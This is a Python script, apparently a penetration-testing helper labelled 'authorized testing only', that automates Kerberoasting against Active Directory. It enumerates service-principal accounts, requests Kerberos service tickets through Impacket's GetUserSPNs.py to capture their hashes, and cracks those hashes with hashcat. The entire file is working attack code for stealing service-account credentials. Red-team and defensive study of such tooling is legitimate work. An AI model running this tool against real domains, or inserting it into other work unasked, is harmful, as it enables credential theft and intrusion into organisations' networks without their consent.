#!/usr/bin/env python3 """Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing.""" import argparse import json import subprocess from datetime import datetime, timezone def run_getuserspns(domain, username, password, dc_ip, output_file=None): """Execute Impacket GetUserSPNs to extract service ticket hashes.""" cmd = [ "GetUserSPNs.py", f"{domain}/{username}:{password}", "-dc-ip", dc_ip, "-request", ] if output_file: cmd.extend(["-outputfile", output_file]) try: result = subprocess.check_output( cmd, text=True, errors="replace", timeout=60 ) return {"status": "success", "output": result[:2000]} except subprocess.SubprocessError as e: return {"status": "failed", "error": str(e)[:200]} except FileNotFoundError: return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"} def enumerate_spn_accounts_ldap(domain, username, password, dc_ip): """Enumerate SPN accounts via LDAP query.""" cmd = [ "GetUserSPNs.py", f"{domain}/{username}:{password}", "-dc-ip", dc_ip, ] try: result = subprocess.check_output( cmd, text=True, errors="replace", timeout=30 ) accounts = [] for line in result.strip().splitlines(): if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")): parts = line.split() if len(parts) >= 3: accounts.append({ "spn": parts[0], "name": parts[1], "memberof": parts[2] if len(parts) > 2 else "", }) return accounts except (subprocess.SubprocessError, FileNotFoundError): return [] def crack_with_hashcat(hash_file, wordlist, rules=None): """Crack Kerberos TGS hashes with hashcat.""" cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"] if rules: cmd.extend(["-r", rules]) try: result = subprocess.check_output( cmd, text=True, errors="replace", timeout=600 ) return {"status": "completed", "output": result[:1000]} except subprocess.SubprocessError as e: return {"status": "failed", "error": str(e)[:200]} except FileNotFoundError: return {"status": "failed", "error": "hashcat not found"} def enumerate_powershell(): """Enumerate SPN accounts via PowerShell (domain-joined Windows).""" ps_cmd = ( "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties " "ServicePrincipalName,PasswordLastSet,Enabled,MemberOf " "| Select-Object SamAccountName,Enabled,PasswordLastSet," "@{N='SPNs';E={$_.ServicePrincipalName -join ','}} " "| ConvertTo-Json" ) try: result = subprocess.check_output( ["powershell", "-NoProfile", "-Command", ps_cmd], text=True, errors="replace", timeout=30 ) data = json.loads(result) if result.strip() else [] return data if isinstance(data, list) else [data] except (subprocess.SubprocessError, json.JSONDecodeError): return [] def main(): parser = argparse.ArgumentParser( description="Kerberoasting with Impacket (authorized testing only)" ) parser.add_argument("--domain", help="AD domain") parser.add_argument("--username", help="Domain username") parser.add_argument("--password", help="Domain password") parser.add_argument("--dc-ip", help="Domain controller IP") parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts") parser.add_argument("--request", action="store_true", help="Request TGS tickets") parser.add_argument("--hash-file", help="Output file for hashes") parser.add_argument("--crack", help="Wordlist for hash cracking") parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() print("[*] Kerberoasting Agent (Impacket)") print("[!] For authorized security testing only") report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} if args.enumerate: if args.domain and args.username: accounts = enumerate_spn_accounts_ldap( args.domain, args.username, args.password or "", args.dc_ip or "" ) else: accounts = enumerate_powershell() report["findings"]["spn_accounts"] = accounts print(f"[*] SPN accounts found: {len(accounts)}") if args.request and args.domain: result = run_getuserspns( args.domain, args.username or "", args.password or "", args.dc_ip or "", args.hash_file ) report["findings"]["ticket_request"] = result print(f"[*] Ticket request: {result['status']}") if args.crack and args.hash_file: crack_result = crack_with_hashcat(args.hash_file, args.crack) report["findings"]["cracking"] = crack_result if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"[*] Report saved to {args.output}") else: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()